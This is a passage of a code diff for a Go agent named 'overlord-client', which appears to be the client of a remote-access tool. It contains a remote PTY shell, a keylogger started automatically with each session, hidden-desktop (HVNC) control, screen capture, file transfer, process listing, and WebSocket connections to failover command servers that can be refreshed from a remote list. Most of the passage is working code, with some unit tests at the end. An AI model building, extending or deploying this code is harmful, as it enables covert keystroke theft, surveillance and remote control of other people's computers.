h.mu.Unlock()
if sess != nil {
sess.close()
}
}
func (h *ConsoleHub) StopAll() {
if h == nil {
return
}
h.mu.Lock()
ids := make([]string, 0, len(h.sessions))
for id := range h.sessions {
ids = append(ids, id)
}
h.mu.Unlock()
for _, id := range ids {
h.Stop(id)
}
}
func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) {
buf := make([]byte, 4096)
for {
n, err := sess.pty.Read(buf)
if n > 0 {
chunk := make([]byte, n)
copy(chunk, buf[:n])
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk})
}
if err != nil {
if err != io.EOF {
h.emitError(ctx, sess.id, err)
}
break
}
}
if sess.cmd != nil {
_ = sess.cmd.Wait()
}
exitCode := extractExitCode(sess.cmd)
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode})
h.mu.Lock()
delete(h.sessions, sess.id)
h.mu.Unlock()
sess.close()
}
func (h *ConsoleHub) emitError(ctx context.Context, sessionID string, err error) {
_ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()})
}
func (h *ConsoleHub) get(sessionID string) *ConsoleSession {
h.mu.Lock()
defer h.mu.Unlock()
return h.sessions[sessionID]
}
func (sess *ConsoleSession) close() {
sess.once.Do(func() {
if sess.cancel != nil {
sess.cancel()
}
if sess.cmd != nil && sess.cmd.Process != nil {
_ = sess.cmd.Process.Kill()
}
if sess.pty != nil {
_ = sess.pty.Close()
}
})
}
func detectShell() []string {
if runtime.GOOS == "windows" {
if c := os.Getenv("COMSPEC"); c != "" {
return []string{c}
}
return []string{"cmd.exe"}
}
if sh := os.Getenv("SHELL"); sh != "" {
return []string{sh, "-l"}
}
if runtime.GOOS == "darwin" {
return []string{"/bin/zsh", "-l"}
}
return []string{"/bin/bash", "-l"}
}
func extractExitCode(cmd *exec.Cmd) int {
if cmd == nil || cmd.ProcessState == nil {
return -1
}
if status, ok := cmd.ProcessState.Sys().(syscall.WaitStatus); ok {
return status.ExitStatus()
}
return -1
}
+110
View File
@@ -0,0 +1,110 @@
package runtime
import (
"context"
"os"
"sync"
"sync/atomic"
"time"
"overlord-client/cmd/agent/config"
"overlord-client/cmd/agent/keylogger"
"overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/wire"
)
type Env struct {
Conn wire.Writer
Cfg config.Config
Cancel context.CancelFunc
Console *ConsoleHub
SelectedDisplay int
MouseControl bool
KeyboardControl bool
CursorCapture bool
DesktopDuplication bool
DesktopCancel context.CancelFunc
DesktopDone chan struct{}
DesktopMu sync.Mutex
// HVNC fields
HVNCSelectedDisplay int
HVNCMouseControl bool
HVNCKeyboardControl bool
HVNCCursorCapture bool
HVNCCancel context.CancelFunc
HVNCDone chan struct{}
HVNCMu sync.Mutex
// Other fields
Plugins *plugins.Manager
Keylogger *keylogger.Keylogger
NotificationMu sync.RWMutex
NotificationKeywords []string
NotificationMinIntervalMs int
LastPongUnixMs int64
}
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int) {
e.NotificationMu.Lock()
e.NotificationKeywords = keywords
if minIntervalMs > 0 {
e.NotificationMinIntervalMs = minIntervalMs
}
e.NotificationMu.Unlock()
}
func (e *Env) GetNotificationKeywords() []string {
e.NotificationMu.RLock()
defer e.NotificationMu.RUnlock()
if len(e.NotificationKeywords) == 0 {
return nil
}
out := make([]string, len(e.NotificationKeywords))
copy(out, e.NotificationKeywords)
return out
}
func (e *Env) GetNotificationMinIntervalMs() int {
e.NotificationMu.RLock()
defer e.NotificationMu.RUnlock()
return e.NotificationMinIntervalMs
}
func (e *Env) SetLastPong(tsMillis int64) {
if tsMillis <= 0 {
tsMillis = time.Now().UnixMilli()
}
atomic.StoreInt64(&e.LastPongUnixMs, tsMillis)
}
func (e *Env) LastPong() time.Time {
ms := atomic.LoadInt64(&e.LastPongUnixMs)
if ms <= 0 {
return time.Time{}
}
return time.UnixMilli(ms)
}
func Hostname() string {
h, err := os.Hostname()
if err != nil {
return "unknown"
}
return h
}
func CurrentUser() string {
if u := os.Getenv("USERNAME"); u != "" {
return u
}
if u := os.Getenv("USER"); u != "" {
return u
}
return "unknown"
}
func MinDuration(a, b time.Duration) time.Duration {
if a < b {
return a
}
return b
}
+515
View File
@@ -0,0 +1,515 @@
package main
import (
"context"
"crypto/tls"
"crypto/x509"
"errors"
"fmt"
"log"
"math/rand"
"net/http"
"os"
"runtime"
"runtime/debug"
"strconv"
"strings"
"time"
"overlord-client/cmd/agent/activewindow"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/config"
"overlord-client/cmd/agent/handlers"
"overlord-client/cmd/agent/keylogger"
"overlord-client/cmd/agent/plugins"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"nhooyr.io/websocket"
)
func runClient(cfg config.Config) {
baseBackoff := computeBaseBackoff()
backoff := baseBackoff
log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch)
ensureServerURLs(&cfg, baseBackoff)
if len(cfg.ServerURLs) > 1 {
log.Printf("Failover enabled with %d servers:", len(cfg.ServerURLs))
for i, url := range cfg.ServerURLs {
marker := ""
if i == cfg.ServerIndex {
marker = " (starting here)"
}
log.Printf(" [%d] %s%s", i, url, marker)
}
}
tlsMinVersion := uint16(tls.VersionTLS12)
transport := createHTTPTransport(cfg, tlsMinVersion)
currentIndex := cfg.ServerIndex
consecutiveFailures := 0
// idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections.
allowTLSDowngrade := false
for {
if currentIndex >= len(cfg.ServerURLs) {
currentIndex = 0
}
currentServer := cfg.ServerURLs[currentIndex]
ctx, cancel := context.WithCancel(context.Background())
url := fmt.Sprintf("%s/api/clients/%s/stream/ws?role=client", currentServer, cfg.ID)
opts := buildDialOptions(cfg, transport)
serverInfo := ""
if len(cfg.ServerURLs) > 1 {
serverInfo = fmt.Sprintf(" [%d/%d]", currentIndex+1, len(cfg.ServerURLs))
}
log.Printf("connecting to %s%s (TLS verify: %v)", currentServer, serverInfo, !cfg.TLSInsecureSkipVerify)
conn, _, err := websocket.Dial(ctx, url, opts)
if err != nil {
log.Printf("dial failed: %v (retrying in %s)", err, backoff)
consecutiveFailures++
if shouldRefreshRawList(cfg, consecutiveFailures) {
if refreshServerURLsFromRaw(&cfg) {
currentIndex = 0
consecutiveFailures = 0
}
}
if len(cfg.ServerURLs) > 1 {
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
}
time.Sleep(backoff)
cancel()
continue
}
if currentIndex != cfg.ServerIndex {
if err := config.SaveServerIndex(currentIndex); err != nil {
log.Printf("Warning: failed to save server index: %v", err)
}
}
backoff = baseBackoff
consecutiveFailures = 0
log.Printf("connected successfully to %s%s", currentServer, serverInfo)
conn.SetReadLimit(8 * 1024 * 1024)
var sessionErr error
if err := runSession(ctx, cancel, conn, cfg); err != nil {
sessionErr = err
if allowTLSDowngrade && isTLSVersionError(err) {
log.Printf("[TLS] remote rejected TLS version; downgrading to TLS 1.0 for compatibility")
tlsMinVersion = uint16(tls.VersionTLS10)
transport = createHTTPTransport(cfg, tlsMinVersion)
allowTLSDowngrade = false
}
log.Printf("session ended: %v (retrying in %s)", err, backoff)
if shouldRefreshRawList(cfg, len(cfg.ServerURLs)) {
if refreshServerURLsFromRaw(&cfg) {
currentIndex = 0
consecutiveFailures = 0
}
}
if len(cfg.ServerURLs) > 1 {
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
}
}
sleepFor := backoff
if sessionErr != nil && shouldRetryImmediately(sessionErr) {
sleepFor = reconnectDelay()
log.Printf("reconnect: immediate retry in %s", sleepFor)
}
time.Sleep(sleepFor)
}
}
func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions {
headers := http.Header{}
if token := strings.TrimSpace(cfg.AgentToken); token != "" {
headers.Set("x-agent-token", token)
}
return &websocket.DialOptions{
Subprotocols: []string{"binary"},
HTTPClient: &http.Client{Transport: transport},
HTTPHeader: headers,
CompressionMode: websocket.CompressionContextTakeover,
}
}
func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
if len(cfg.ServerURLs) > 0 {
return
}
if cfg.RawServerListURL == "" {
log.Printf("[config] WARNING: no server URLs configured; falling back to default %s", config.DefaultServerURL)
cfg.ServerURLs = []string{config.DefaultServerURL}
return
}
log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL)
for len(cfg.ServerURLs) == 0 {
if refreshServerURLsFromRaw(cfg) {
return
}
log.Printf("Retrying raw server list fetch in %s", backoff)
time.Sleep(backoff)
}
}
func shouldRefreshRawList(cfg config.Config, failures int) bool {
if cfg.RawServerListURL == "" {
return false
}
if len(cfg.ServerURLs) == 0 {
return true
}
return failures >= len(cfg.ServerURLs)
}
func refreshServerURLsFromRaw(cfg *config.Config) bool {
urls, err := config.LoadServerURLsFromRaw(cfg.RawServerListURL)
if err != nil {
log.Printf("[config] WARNING: failed to refresh raw server list: %v", err)
return false
}
if len(urls) == 0 {
log.Printf("[config] WARNING: raw server list returned no URLs")
return false
}
if !equalStringSlices(cfg.ServerURLs, urls) {
log.Printf("[config] refreshed raw server list (%d servers)", len(urls))
cfg.ServerURLs = urls
}
return true
}
func equalStringSlices(a, b []string) bool {
if len(a) != len(b) {
return false
}
for i := range a {
if a[i] != b[i] {
return false
}
}
return true
}
func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport {
tlsConfig := &tls.Config{
InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
MinVersion: minVersion,
}
if cfg.TLSCAPath != "" {
caCert, err := os.ReadFile(cfg.TLSCAPath)
if err != nil {
log.Printf("[TLS] WARNING: Failed to read CA certificate from %s: %v", cfg.TLSCAPath, err)
} else {
caCertPool := x509.NewCertPool()
if caCertPool.AppendCertsFromPEM(caCert) {
tlsConfig.RootCAs = caCertPool
log.Printf("[TLS] Loaded custom CA certificate from %s", cfg.TLSCAPath)
} else {
log.Printf("[TLS] WARNING: Failed to parse CA certificate from %s", cfg.TLSCAPath)
}
}
}
if cfg.TLSClientCert != "" && cfg.TLSClientKey != "" {
cert, err := tls.LoadX509KeyPair(cfg.TLSClientCert, cfg.TLSClientKey)
if err != nil {
log.Printf("[TLS] WARNING: Failed to load client certificate: %v", err)
} else {
tlsConfig.Certificates = []tls.Certificate{cert}
log.Printf("[TLS] Loaded client certificate for mutual TLS")
}
}
if cfg.TLSInsecureSkipVerify {
log.Printf("[TLS] WARNING: Certificate verification is DISABLED. This is insecure!")
}
transport := http.DefaultTransport.(*http.Transport).Clone()
transport.TLSClientConfig = tlsConfig
return transport
}
func isTLSVersionError(err error) bool {
if err == nil {
return false
}
msg := strings.ToLower(err.Error())
return strings.Contains(msg, "protocol version not supported") ||
strings.Contains(msg, "tls: protocol version not supported")
}
func computeBaseBackoff() time.Duration {
mode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_MODE")))
_ = mode
return randomReconnectDelay(10*time.Second, 30*time.Second)
}
func reconnectDelay() time.Duration {
raw := strings.TrimSpace(os.Getenv("OVERLORD_RECONNECT_DELAY_MS"))
if raw == "" {
return randomReconnectDelay(10*time.Second, 30*time.Second)
}
ms, err := strconv.Atoi(raw)
if err != nil || ms < 0 {
log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 10-30s", raw)
return randomReconnectDelay(10*time.Second, 30*time.Second)
}
if ms == 0 {
return 0
}
return time.Duration(ms) * time.Millisecond
}
var reconnectRng = rand.New(rand.NewSource(time.Now().UnixNano()))
func randomReconnectDelay(min, max time.Duration) time.Duration {
if max <= min {
return min
}
delta := max - min
n := time.Duration(reconnectRng.Int63n(int64(delta) + 1))
return min + n
}
func shouldRetryImmediately(err error) bool {
if err == nil {
return false
}
if errors.Is(err, handlers.ErrReconnect) {
return true
}
var closeErr *websocket.CloseError
if errors.As(err, &closeErr) {
if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway {
return true
}
if closeErr.Code == websocket.StatusAbnormalClosure {
return true
}
}
msg := strings.ToLower(err.Error())
if strings.Contains(msg, "timed out from inactivity") {
return true
}
return false
}
func getPingInterval() time.Duration {
raw := strings.TrimSpace(os.Getenv("OVERLORD_PING_INTERVAL_MS"))
if raw == "" {
return 30 * time.Second
}
ms, err := strconv.Atoi(raw)
if err != nil {
log.Printf("[ping] invalid OVERLORD_PING_INTERVAL_MS=%q, using 30000ms", raw)
return 30 * time.Second
}
if ms <= 0 {
return 0
}
return time.Duration(ms) * time.Millisecond
}
func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) {
defer func() {
if r := recover(); r != nil {
reason := fmt.Sprintf("session panic: %v", r)
stack := debug.Stack()
path := writeCrashLog(reason, stack)
log.Printf("%s (see %s)", reason, path)
err = fmt.Errorf("session panic: %v", r)
}
}()
defer cancel()
defer conn.Close(websocket.StatusNormalClosure, "bye")
safeWriter := wire.NewSafeWriter(conn)
env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()}
env.SetLastPong(time.Now().UnixMilli())
env.Console = rt.NewConsoleHub(env)
env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: cfg.ID, OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version})
defer env.Plugins.Close()
env.Keylogger = keylogger.New()
if err := env.Keylogger.Start(); err != nil {
log.Printf("[keylogger] Failed to start: %v", err)
} else {
defer env.Keylogger.Stop()
}
dispatcher := handlers.NewDispatcher(env)
osVal := strings.TrimSpace(cfg.OS)
if osVal == "" {
osVal = runtime.GOOS
}
archVal := strings.TrimSpace(cfg.Arch)
if archVal == "" {
archVal = runtime.GOARCH
}
hello := wire.Hello{
Type: "hello",
ID: cfg.ID,
HWID: cfg.HWID,
Host: rt.Hostname(),
OS: osVal,
Arch: archVal,
Version: cfg.Version,
User: rt.CurrentUser(),
Monitors: capture.MonitorCount(),
MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()),
Country: cfg.Country,
}
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
return fmt.Errorf("send hello: %w", err)
}
if err := wire.WriteMsg(ctx, env.Conn, wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}); err != nil {
log.Printf("ping: failed to send initial ping: %v", err)
cancel()
return fmt.Errorf("send initial ping: %w", err)
}
if interval := getPingInterval(); interval > 0 {
log.Printf("ping: heartbeat interval=%s", interval)
goSafe("ping loop", cancel, func() {
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
ping := wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}
if err := wire.WriteMsg(ctx, env.Conn, ping); err != nil {
log.Printf("ping: failed to send: %v", err)
cancel()
return
}
}
}
})
goSafe("pong watchdog", cancel, func() {
grace := interval + (10 * time.Second)
if grace < 20*time.Second {
grace = 20 * time.Second
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
last := env.LastPong()
if !last.IsZero() && time.Since(last) > grace {
log.Printf("ping: no pong for %s, forcing reconnect", time.Since(last))
cancel()
return
}
}
}
})
}
readErr := make(chan error, 1)
go func() {
defer func() {
if r := recover(); r != nil {
reason := fmt.Sprintf("readLoop panic: %v", r)
stack := debug.Stack()
path := writeCrashLog(reason, stack)
log.Printf("%s (see %s)", reason, path)
err := fmt.Errorf("%s", reason)
select {
case readErr <- err:
default:
}
cancel()
}
}()
if err := readLoop(ctx, conn, env, dispatcher); err != nil {
log.Printf("readLoop ended: %v", err)
select {
case readErr <- err:
default:
}
cancel()
}
}()
shotCtx, cancelShots := context.WithCancel(ctx)
defer cancelShots()
goSafe("capture loop", cancel, func() {
capture.Loop(shotCtx, env)
})
goSafe("activewindow", nil, func() {
if err := activewindow.Start(ctx, env); err != nil {
log.Printf("activewindow error: %v", err)
}
})
return <-readErr
}
func toWireMonitorInfo(infos []capture.MonitorInfo) []wire.MonitorInfo {
if len(infos) == 0 {
return nil
}
out := make([]wire.MonitorInfo, 0, len(infos))
for _, info := range infos {
out = append(out, wire.MonitorInfo{Width: info.Width, Height: info.Height})
}
return out
}
func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher *handlers.Dispatcher) error {
for {
_, data, err := conn.Read(ctx)
if err != nil {
if ctx.Err() != nil {
return err
}
log.Printf("readLoop: read error: %v", err)
return err
}
envelope, err := wire.DecodeEnvelope(data)
if err != nil {
log.Printf("decode: %v (bytes=%d)", err, len(data))
continue
}
if err := dispatcher.Dispatch(ctx, envelope); err != nil {
log.Printf("dispatcher error: %v (type=%v)", err, envelope["type"])
return err
}
}
}
@@ -0,0 +1,135 @@
package main
import (
"errors"
"net/http"
"os"
"testing"
"time"
"overlord-client/cmd/agent/config"
"overlord-client/cmd/agent/handlers"
"nhooyr.io/websocket"
)
func withEnv(key, value string, fn func()) {
old, ok := os.LookupEnv(key)
if value == "" {
_ = os.Unsetenv(key)
} else {
_ = os.Setenv(key, value)
}
defer func() {
if ok {
_ = os.Setenv(key, old)
} else {
_ = os.Unsetenv(key)
}
}()
fn()
}
func TestGetPingInterval_Default(t *testing.T) {
withEnv("OVERLORD_PING_INTERVAL_MS", "", func() {
interval := getPingInterval()
if interval != 30*time.Second {
t.Fatalf("expected 30s, got %s", interval)
}
})
}
func TestGetPingInterval_Custom(t *testing.T) {
withEnv("OVERLORD_PING_INTERVAL_MS", "0", func() {
interval := getPingInterval()
if interval != 0 {
t.Fatalf("expected 0, got %s", interval)
}
})
}
func TestGetPingInterval_Invalid(t *testing.T) {
withEnv("OVERLORD_PING_INTERVAL_MS", "oops", func() {
interval := getPingInterval()
if interval != 30*time.Second {
t.Fatalf("expected 30s on invalid input, got %s", interval)
}
})
}
func TestReconnectDelay_Custom(t *testing.T) {
withEnv("OVERLORD_RECONNECT_DELAY_MS", "0", func() {
delay := reconnectDelay()
if delay != 0 {
t.Fatalf("expected 0, got %s", delay)
}
})
}
func TestReconnectDelay_Invalid(t *testing.T) {
withEnv("OVERLORD_RECONNECT_DELAY_MS", "bad", func() {
delay := reconnectDelay()
if delay < 10*time.Second || delay > 30*time.Second {
t.Fatalf("expected 10-30s, got %s", delay)
}
})
}
func TestShouldRetryImmediately(t *testing.T) {
cases := []struct {
name string
err error
want bool
}{
{
name: "normal closure",
err: &websocket.CloseError{Code: websocket.StatusNormalClosure},
want: true,
},
{
name: "going away",
err: &websocket.CloseError{Code: websocket.StatusGoingAway},
want: true,
},
{
name: "abnormal closure",
err: &websocket.CloseError{Code: websocket.StatusAbnormalClosure},
want: true,
},
{
name: "timeout string",
err: errors.New("timed out from inactivity"),
want: true,
},
{
name: "other error",
err: errors.New("something else"),
want: false,
},
{
name: "explicit reconnect",
err: handlers.ErrReconnect,
want: true,
},
}
for _, tc := range cases {
if got := shouldRetryImmediately(tc.err); got != tc.want {
t.Fatalf("%s: expected %v, got %v", tc.name, tc.want, got)
}
}
}
func TestBuildDialOptions(t *testing.T) {
transport := &http.Transport{}
opts := buildDialOptions(config.Config{}, transport)
if len(opts.Subprotocols) != 1 || opts.Subprotocols[0] != "binary" {
t.Fatalf("expected binary subprotocol, got %v", opts.Subprotocols)
}
if opts.CompressionMode != websocket.CompressionContextTakeover {
t.Fatalf("expected compression takeover, got %v", opts.CompressionMode)
}
if opts.HTTPClient == nil || opts.HTTPClient.Transport != transport {
t.Fatalf("expected http client to use provided transport")
}
}
+11
View File
@@ -0,0 +1,11 @@
package wire
import "github.com/vmihailenco/msgpack/v5"
func DecodeEnvelope(data []byte) (map[string]interface{}, error) {
env := make(map[string]interface{})
if err := msgpack.Unmarshal(data, &env); err != nil {
return nil, err
}
return env, nil
}
+187
View File
@@ -0,0 +1,187 @@
package wire
type Hello struct {
Type string `msgpack:"type"`
ID string `msgpack:"id"`
HWID string `msgpack:"hwid"`
Host string `msgpack:"host"`
OS string `msgpack:"os"`
Arch string `msgpack:"arch"`
Version string `msgpack:"version"`
User string `msgpack:"user"`
Monitors int `msgpack:"monitors"`
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
Country string `msgpack:"country,omitempty"`
}
type MonitorInfo struct {
Width int `msgpack:"width"`
Height int `msgpack:"height"`
}
type Ping struct {
Type string `msgpack:"type"`
TS int64 `msgpack:"ts,omitempty"`
}
type Pong struct {
Type string `msgpack:"type"`
TS int64 `msgpack:"ts,omitempty"`
}
type Command struct {
Type string `msgpack:"type"`
CommandType string `msgpack:"commandType"`
Payload interface{} `msgpack:"payload,omitempty"`
ID string `msgpack:"id,omitempty"`
}
type CommandResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
OK bool `msgpack:"ok"`
Message string `msgpack:"message,omitempty"`
}
type FrameHeader struct {
Monitor int `msgpack:"monitor"`
FPS int `msgpack:"fps"`
Format string `msgpack:"format"`
HVNC bool `msgpack:"hvnc,omitempty"`
}
type Frame struct {
Type string `msgpack:"type"`
Header FrameHeader `msgpack:"header"`
Data []byte `msgpack:"data"`
}
type ScreenshotResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Format string `msgpack:"format"`
Width int `msgpack:"width,omitempty"`
Height int `msgpack:"height,omitempty"`
Data []byte `msgpack:"data"`
Error string `msgpack:"error,omitempty"`
}
type ConsoleOutput struct {
Type string `msgpack:"type"`
SessionID string `msgpack:"sessionId"`
Data []byte `msgpack:"data,omitempty"`
ExitCode *int `msgpack:"exitCode,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type FileEntry struct {
Name string `msgpack:"name"`
Path string `msgpack:"path"`
IsDir bool `msgpack:"isDir"`
Size int64 `msgpack:"size"`
ModTime int64 `msgpack:"modTime"`
Mode string `msgpack:"mode,omitempty"`
Owner string `msgpack:"owner,omitempty"`
Group string `msgpack:"group,omitempty"`
}
type FileListResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Path string `msgpack:"path"`
Entries []FileEntry `msgpack:"entries"`
Error string `msgpack:"error,omitempty"`
}
type FileDownload struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Path string `msgpack:"path"`
Data []byte `msgpack:"data"`
Offset int64 `msgpack:"offset"`
Total int64 `msgpack:"total"`
ChunkIndex int `msgpack:"chunkIndex,omitempty"`
ChunksTotal int `msgpack:"chunksTotal,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type FileUploadResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
TransferID string `msgpack:"transferId,omitempty"`
Path string `msgpack:"path"`
OK bool `msgpack:"ok"`
Offset int64 `msgpack:"offset,omitempty"`
Size int64 `msgpack:"size,omitempty"`
Received int64 `msgpack:"received,omitempty"`
Total int64 `msgpack:"total,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type ProcessInfo struct {
PID int32 `msgpack:"pid"`
PPID int32 `msgpack:"ppid"`
Name string `msgpack:"name"`
CPU float64 `msgpack:"cpu"`
Memory uint64 `msgpack:"memory"`
Username string `msgpack:"username,omitempty"`
Type string `msgpack:"type,omitempty"`
}
type ProcessListResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Processes []ProcessInfo `msgpack:"processes"`
Error string `msgpack:"error,omitempty"`
}
type FileReadResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Path string `msgpack:"path"`
Content string `msgpack:"content"`
IsBinary bool `msgpack:"isBinary"`
Error string `msgpack:"error,omitempty"`
}
type FileSearchMatch struct {
Path string `msgpack:"path"`
Line int `msgpack:"line,omitempty"`
Match string `msgpack:"match,omitempty"`
}
type FileSearchResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
SearchID string `msgpack:"searchId"`
Results []FileSearchMatch `msgpack:"results"`
Complete bool `msgpack:"complete"`
Error string `msgpack:"error,omitempty"`
}
type ScriptResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
OK bool `msgpack:"ok"`
Output string `msgpack:"output"`
Error string `msgpack:"error,omitempty"`
}
type PluginEvent struct {
Type string `msgpack:"type"`
PluginID string `msgpack:"pluginId"`
Event string `msgpack:"event"`
Payload interface{} `msgpack:"payload,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type Notification struct {
Type string `msgpack:"type"`
Category string `msgpack:"category"`
Title string `msgpack:"title"`
Process string `msgpack:"process,omitempty"`
ProcessPath string `msgpack:"processPath,omitempty"`
PID int32 `msgpack:"pid,omitempty"`
Keyword string `msgpack:"keyword,omitempty"`
TS int64 `msgpack:"ts,omitempty"`
}
@@ -0,0 +1,361 @@
package wire
import (
"bytes"
"context"
"testing"
"github.com/vmihailenco/msgpack/v5"
"nhooyr.io/websocket"
)
type testWriter struct {
msgs [][]byte
}
func (w *testWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
w.msgs = append(w.msgs, append([]byte(nil), p...))
return nil
}
func TestHelloMarshaling(t *testing.T) {
hello := Hello{
Type: "hello",
ID: "test-id",
HWID: "test-hwid",
Host: "test-host",
OS: "test-os",
Arch: "test-arch",
Version: "1.0.0",
User: "test-user",
Monitors: 2,
MonitorInfo: []MonitorInfo{
{Width: 1920, Height: 1080},
{Width: 1280, Height: 720},
},
Country: "US",
}
data, err := msgpack.Marshal(hello)
if err != nil {
t.Fatalf("Failed to marshal Hello: %v", err)
}
var decoded Hello
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal Hello: %v", err)
}
if decoded.ID != hello.ID {
t.Errorf("ID mismatch: got %s, want %s", decoded.ID, hello.ID)
}
if decoded.Monitors != hello.Monitors {
t.Errorf("Monitors mismatch: got %d, want %d", decoded.Monitors, hello.Monitors)
}
if len(decoded.MonitorInfo) != len(hello.MonitorInfo) {
t.Errorf("MonitorInfo length mismatch: got %d, want %d", len(decoded.MonitorInfo), len(hello.MonitorInfo))
}
}
func TestPingPongMarshaling(t *testing.T) {
ping := Ping{
Type: "ping",
TS: 1234567890,
}
data, err := msgpack.Marshal(ping)
if err != nil {
t.Fatalf("Failed to marshal Ping: %v", err)
}
var decoded Ping
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal Ping: %v", err)
}
if decoded.TS != ping.TS {
t.Errorf("Timestamp mismatch: got %d, want %d", decoded.TS, ping.TS)
}
pong := Pong{
Type: "pong",
TS: ping.TS,
}
data2, err := msgpack.Marshal(pong)
if err != nil {
t.Fatalf("Failed to marshal Pong: %v", err)
}
var decodedPong Pong
if err := msgpack.Unmarshal(data2, &decodedPong); err != nil {
t.Fatalf("Failed to unmarshal Pong: %v", err)
}
if decodedPong.TS != pong.TS {
t.Errorf("Pong timestamp mismatch: got %d, want %d", decodedPong.TS, pong.TS)
}
}
func TestCommandMarshaling(t *testing.T) {
cmd := Command{
Type: "command",
CommandType: "test_command",
ID: "cmd-123",
Payload: map[string]interface{}{"key": "value"},
}
data, err := msgpack.Marshal(cmd)
if err != nil {
t.Fatalf("Failed to marshal Command: %v", err)
}
var decoded Command
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal Command: %v", err)
}
if decoded.CommandType != cmd.CommandType {
t.Errorf("CommandType mismatch: got %s, want %s", decoded.CommandType, cmd.CommandType)
}
if decoded.ID != cmd.ID {
t.Errorf("ID mismatch: got %s, want %s", decoded.ID, cmd.ID)
}
}
func TestCommandResultMarshaling(t *testing.T) {
result := CommandResult{
Type: "command_result",
CommandID: "cmd-123",
OK: true,
Message: "Success",
}
data, err := msgpack.Marshal(result)
if err != nil {
t.Fatalf("Failed to marshal CommandResult: %v", err)
}
var decoded CommandResult
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal CommandResult: %v", err)
}
if decoded.OK != result.OK {
t.Errorf("OK mismatch: got %v, want %v", decoded.OK, result.OK)
}
if decoded.Message != result.Message {
t.Errorf("Message mismatch: got %s, want %s", decoded.Message, result.Message)
}
}
func TestFrameMarshaling(t *testing.T) {
frame := Frame{
Type: "frame",
Header: FrameHeader{
Monitor: 0,
FPS: 30,
Format: "jpeg",
},
Data: []byte{0xFF, 0xD8, 0xFF, 0xE0},
}
data, err := msgpack.Marshal(frame)
if err != nil {
t.Fatalf("Failed to marshal Frame: %v", err)
}
var decoded Frame
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal Frame: %v", err)
}
if decoded.Header.FPS != frame.Header.FPS {
t.Errorf("FPS mismatch: got %d, want %d", decoded.Header.FPS, frame.Header.FPS)
}
if !bytes.Equal(decoded.Data, frame.Data) {
t.Errorf("Data mismatch")
}
}
func TestFileEntryMarshaling(t *testing.T) {
entry := FileEntry{
Name: "test.txt",
Path: "/home/user/test.txt",
IsDir: false,
Size: 1024,
ModTime: 1609459200,
}
data, err := msgpack.Marshal(entry)
if err != nil {
t.Fatalf("Failed to marshal FileEntry: %v", err)
}
var decoded FileEntry
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal FileEntry: %v", err)
}
if decoded.Name != entry.Name {
